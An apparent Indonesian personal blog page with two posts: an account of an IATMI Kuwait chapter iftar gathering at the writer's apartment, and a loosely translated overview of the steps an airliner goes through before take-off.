Libur anak-anak sekolah di saat musim panas seperti sekarang ini berlangsung cukup lama dari bulan Juli sampai September. Biasanya keluarga anak dan istri sudah pulang duluan ke tanah air sampai libur sekolah selesai, sedangkan suami hanya mengantarkan keluarga pulang ke Indonesia kemudian kembali lagi ke tempat kerja dan akan kembali ke tanah air untuk menjemput keluarga mereka menjelang libur sekolah selesai. Namun ada juga keluarga yang menghabiskan libur sekolah di Kuwait sini. Untuk keluarga yang anak-anaknya belum sekolah, tentu saja mereka akan lebih banyak menghabiskan waktunya disini, sampai memang ada rencana cuti. Khusus di bulan puasa dan menjelang lebaran, beberapa keluarga ada yang sudah merencanakan mudik merayakan lebaran di Indonesia, ada juga yang sudah pulang cuti ke tanah air 1-2 bulan sebelumnya namun kemudian memilih merayakan lebaran di Kuwait. Semuanya terpulang kepada pilihan masing-masing keluarga tersebut. Pun begitu pada saat acara berbuka puasa sore ini salah satu obrolan yang hangat dibicarakan adalah rencana mudik, tanggal berapa berangkat, berapa lama mudik, mudik kemana, dan lain sebagainya, sama, tidak berbeda ketika membicarakan rencana mudik dengan teman-teman sekantor ketika masih bekerja di tanah air.

Ketika adzan Maghrib sebagai tanda berbuka sudah tiba, setelah membatalkan puasa dengan secangkir teh dan kurma, peserta kemudian mengambil wudlu dan sholat maghrib berjamaah. Karena terbatasnya ruang tengah apartemen saya, terpaksa Ibu-Ibu tidak bisa ikut sholat jamaah bareng dengan Bapak-Bapak. Mereka sholat jamaah sendiri dengan Ibu-Ibu yang lain di kamar tidur utama. Sholat jamaah dipimpin oleh Pak Ahmad Ma’rufi. Setelah sholat jamaah selesai, acara selanjutnya tentu saja mengantri makanan yang sudah siap disajikan di dapur dan menunggu untuk disantap dari tadi. Antrian mengular cukup panjang dan peserta dengan gaya masing-masing antri dengan sabar sampai giliran mereka tiba untuk mengambil makanan hehe. Untuk menunggu antrian tiba, secangkir es buah sudah siap di tangan masing-masing meredakan dahaga.

Santap makanan berlangsung lesehan di ruang TV. Saya sebagai tuan rumah ikut merasa senang karena acara berlangsung lancar dan meriah seperti yang diharapkan. Mungkin perasaan teman-teman pengurus yang lainnya sama seperti yang saya rasakan. Karena kami sebagai pengurus Alhamdulillah bisa menyelenggarakan acara berbuka puasa dengan lancar tidak kurang satu apapun. Sambil menyantap hidangan berbuka puasa diselingi obrolan-obrolan ringan apa saja yang dilakukan oleh para tamu. Saya mendengar ada yang ngobrol membicarakan tentang olimpiade London, ada juga yang membahas tentang perkembangan politik di tanah air, ada yang membicarakan rencana mudik, dan lain sebagainya. Acara berbuka puasa selesai kurang lebih jam 20.00 dan ditutup dengan photo bersama. Saya sebagai tuan rumah sangat berterima kasih atas kehadiran semua tamu undangan yang sudah berkenan meluangkan waktu di tengah cuaca yang kurang bersahabat, panas dan berdebu untuk menghadiri acara berbuka bersama yang diselenggarakan oleh pengurus IATMI chapter Kuwait. Untuk yang merencanakan mudik pulang ke tanah air, selamat jalan, semoga selamat tidak kurang satu apapun di kampung halaman.

Posted in Cerita-Cerita | Tagged , , | Leave a comment

Bagaimanakah Persiapan Pesawat Sebelum Terbang?

Pernahkan anda membayangkan bagaimanakah sebuah maskapai menyiapkan segala sesuatunya sebelum terbang. Selama ini apa yang kita tahu adalah sebatas kita membeli tiket, chek-in, boarding, masuk pesawat, dan terbang ke tujuan. Ternyata sebuah pesawat melakukan serangkaian tahapan persiapan sebelum mereka terbang. Berikut saya tuliskan tahapan-tahapan tersebut yang saya terjemahkan bebas dari NCAA http://www.airlinecouncil.ca/en/prior-to-takeoff.html.

Jauh sebelum para penumpang sampai di bandara, persiapan-persiapan sebelum terbang sudah dilakukan. Para teknisi pesawat bekerja di belakang layar untuk mengecek dan memastikan aspek keselamatan pesawat. Demikian juga dengan petugas dispatcer operasi, mereka menyiapkan dan membuat jadwal penerbangan. Pada saat tahapan pengecekan pesawat sedang dilakukan, para penumpang beserta bagasinya mulai berdatangan di bandara dan masuk ke ruang check-in dengan melawati mesin scanner terlebih dahulu. Di lain pihak, awak kabin dan pilot juga melakukan serangkaian cek dan brifing untuk memastikan segala sesuatunya sudah sesuai dengan aturan keselamatan penerbangan. Setelah segala sesuatunya siap, penumpang siap diberangkatkan. Proses boarding dilakukan, flight attendance (pramugari/a) membantu para penumpang menemukan tempat duduk atau menyimpan bagasinya sedangkan pilot melakukan pengecekan sesuai dengan checklist  prosedur keselamatan penerbangan.

Berikut ini adalah tahapan-tahapan yang dilakukan sebuah pesawat sebelum mereka take-off:

  • Pemeliharaan Pesawat: Setiap hari, para teknisi pemeliharaan pesawat berlisensi (licensed Aircraft Maintenance Engineers (AMEs) melakukan serangkaian program pemeliharaan pesawat untuk memastikan aspek keselamatan yang berkelanjutan. Serangkaian pengecekan yang dilakukan antara lain, pengecekan tekanan ban, inspeksi ada tidaknya kebocoran fluida dan kerusakan struktur pesawat, maupun testing fungsi sistem dan kontrol di dalam pesawat. Apabila ada kelainan-kelainan ditemukan, AMEs melakukan langkah-langkah yang dirasa perlu untuk menjaga pesawat selalu dalam kondisi layak terbang
  • Merencanakan Penerbangan: Beberapa jam sebelum take-off, petugas dispatcer menyiapkan rencana terbang, mengkaji lengkap rute yang akan dilalui, altitude (ketinggian terbang), bahan bakar, dan kondisi cuaca selama penerbangan, yang di dalamnya termasuk informasi detail kondisi cuaca di airport tujuan. Kondisi cuaca adalah hal yang paling utama yang harus diperhatikan dalam menyiapkan rute penerbangan, oleh karena pilot  ingin menghindari kondisi buruk seperti lapisan es, badai, tekanan angin, dan bahkan abu volkanik.
  • Mengamankan Pesawat: Customer service, petugas bagasi, dan petugas darat lainnya mengamankan pintu masuk pesawat, pintu palka, jembatan penghubung masuk pesawat yang akan dilalui penumpang, dan mencegah orang-orang yang tidak berkepentingan mempunyai akses masuk ke dalam kabin pesawat dan komponen kargo. Hanya petugas yang berhak untuk melakukan pengecekan dan memasukkan kargo ke dalam pesawat.
  • Persiapan Darat, Petugas darat membersihkan dan mengosongkan toilet, dan mengisi air ke dalam pesawat. Banyaknya bahan bakar yang dibutuhkan selama penerbangan dibawa melalui sebuah truk tanki bahan bakar yang kemudian diisikan ke dalam pesawat.
  • Pengecekan Penumpang, Petugas bandara melakukan pengecekan penumpang dan barang bawaannya dari item-item yang berbahaya dan dilarang untuk dibawa selama penerbangan. Petugas maskapai melakukan pencocokan indentitas yang tertera di borading pass sebelum boarding.
  • Brifing Awak Kabin, Awak kabin dan pilot melakukan brifing penuh untuk menyiapkan penerbangan terkait dengan alat dan elemen keselamatan yang ada di dalam pesawat.
  • Persiapan di dalam kabin pilot (flight deck), Ketika pilot berada dalam flight deck, mereka memasukkan rencana penerbangan ke dalam sistem komputer navigasi, melakukan pengecekan keselamatan di dalam kokpit, dan persiapan terbang. Kapten dan Penyelia penerbangan bekerja sama dalam melakukan serangkaian pengecekan untuk memastikan bahwa mereka dalam satu arahan keselamatan yang sama.
  • Pengecekan Keselamatan, Petugas kabin (pramugari/a) mengecek semua peralatan keselamatan yang ada maupun keamanan di dalam kabin pesawat sebelum penumpang boarding. Snack dan makanan diantarkan oleh petugas katering pada saat ini.
  • Pre-Boarding, awak kabin membantu para penumpang yang membawa anak-anak dan yang memerlukan bantuan khusus untuk masuk ke dalam pesawat terlebih dahulu. Jika diperlukan mereka akan melakukan brifing keselamatan kepada para penumpang ini
  • Boarding Keseluruhan, kemudian boarding semua penumpang dilakukan. Setelah penumpang memasuki pesawat, semua bagasi harus dimasukkan di dalam kabin tempat penyimpanan atau di bawah kursi masing-masing. Penumpang juga diharuskan untuk mematikan handphone dan alat elektronik yang lainnya agar tidak membahayakan keselamatan penerbangan.
  • Menutup Pintu Pesawat. Flight Attendants hanya bisa menutup pintu pesawat apabila semua bagasi penumpang sudah disimpan. Semua pesawat biasanya dikatakan layak terbang berdasarkan kondisi fisik bahwa penerbangan bisa dievakuasi dalam kurun 90 detik dengan setengah pintu tidak terhalang.
  • Demo Keselamatan, Awak kabin melakukan demo keselamatan kepada penumpang. Kartu petunjuk keselamatan juga bisa ditemukan di setiap kursi yang wajib diketahui dan diperhatikan oleh semua penumpang.
  • Ke landas Pacu, Setelah pintu kabin ditutup dan dikunci dengan sempurna, dan pilot sudah selesai melakukan semua pengecekan sebelum terbang, pesawat siap untuk meninggalkan gate/parkir. Pesawat akan didorong menuju ke tempat dimana pilot dengan aman bisa mulai menghidupkan mesin pesawat dan menuju ke landas pacu setelah mendapatkan ijin dari petugas darat.
  • Take-Off, Di ujung landas pacu, pilot melakukan persiapan akhir, kemudian memerintahkan awak kabin untuk mengambil posisi terbang (take-off position) dan kemudian menunggu ijin terbang dari petugas ATC (air traffic control). Setelah diijinkan, sesaat kemudian pesawat terbang.

Bagi anda yang ingin mengetahui bagaimana cara menangani bagasi di sebuah bandara, bisa di baca disini.

Posted in Cerita-Cerita | Tagged , | Leave a comment